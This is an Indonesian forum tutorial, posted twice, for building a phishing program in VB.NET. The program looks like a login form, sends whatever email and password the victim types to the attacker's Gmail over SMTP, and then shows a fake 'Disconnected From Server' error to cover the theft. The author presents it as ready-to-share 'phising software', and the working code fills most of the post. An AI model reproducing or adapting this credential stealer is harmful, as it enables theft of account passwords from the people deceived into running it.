membuat fake program ( vb.net only ) + send mail
tambahkan
- 4 CheckBox
- 1 Linklabel
- 1 Progressbar
- 4 Label
- 2 Textbox
- 2 Button
![[Image: exx.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ukAT97IYqfMe2yF2EOSU79oWSqinZ9cImI8ZOC-BMb9-9Nu39g5_SfWgGcbaNdI7MaU4DltFzR02g8x1kwFKWCutJ4zdvprYj31G7V255pFNgmxiaRxsbMzoAgRamm5A13kQ=s0-d)
ini code nya :
Imports System.Net.Mail
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("E-mail Is Missing")
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Else
End If
End If
If ProgressBar1.Value < ProgressBar1.Maximum Then
ProgressBar1.Value += 200
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("gmailagan@gmail.com", "passwordgmailagan") 'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("gmailagan@gmail.com")
mail.To.Add("gmailagan@gmail.com")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("DIsconnected From Server, Please try again later!")
End Sub
Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Me.Close()
End Sub
Private Sub ProgressBar1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub ProgressBar1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ProgressBar1.Click
End Sub
Private Sub LinkLabel1_LinkClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
Process.Start("http://www.hacker-newbie.org")
End Sub
End Class
kalau sudah tekan F5 untuk start debungging
![[Image: xe.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s-3tMHr2zPcdYHO8EKyVg6k5gT7VOSOP7v6xDMKfmcWKmXqchqNyp_2gt0lNMO-pdky2RXvCIN9d_bct9ei616bnfyg5oY30U4TsuvKeh50lI3z5tLr4yvIOBvrbdC3Sn5=s0-d)
kalau ada error kyk gini berarti phising sopware sukses
![[Image: ex.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tV_Gm60br25Ppzv1lgb9CDe533hS2f__L7tsnQYhEVmGZP8rFMz1_1R5Vht1kk2H8fKYWKptFz1ev_R3L1XvZcKN1mumMTVNyLLInhuEv9VWYLwKgEuo5d_8LpBWxfJHz8=s0-d)
terus lihat di gmail agan .
![[Image: xex.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vIV83lRPoAqJ58dfiFoF99TTWEcpeeIwPvch9HhcvqK1tBaHSK4Ag5zEAL55MMhP5Tuu4wvpoMoxA4lUdfv__UqYgKA2GcQiJxxkjd9t5SA06K_x84ZjQQ7mjMwKSIrd0o=s0-d)
phising software siap di share . design sesuai keinginan agan" ...
maap klo tutorial nya bikin pusing .
- 4 CheckBox
- 1 Linklabel
- 1 Progressbar
- 4 Label
- 2 Textbox
- 2 Button
Spoiler:
ini code nya :
Spoiler:
Imports System.Net.Mail
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("E-mail Is Missing")
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Else
End If
End If
If ProgressBar1.Value < ProgressBar1.Maximum Then
ProgressBar1.Value += 200
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("gmailagan@gmail.com", "passwordgmailagan") 'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("gmailagan@gmail.com")
mail.To.Add("gmailagan@gmail.com")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("DIsconnected From Server, Please try again later!")
End Sub
Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Me.Close()
End Sub
Private Sub ProgressBar1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub ProgressBar1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ProgressBar1.Click
End Sub
Private Sub LinkLabel1_LinkClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
Process.Start("http://www.hacker-newbie.org")
End Sub
End Class
kalau sudah tekan F5 untuk start debungging
Spoiler:
kalau ada error kyk gini berarti phising sopware sukses
Spoiler: hide
terus lihat di gmail agan .
Spoiler:
phising software siap di share . design sesuai keinginan agan" ...
maap klo tutorial nya bikin pusing .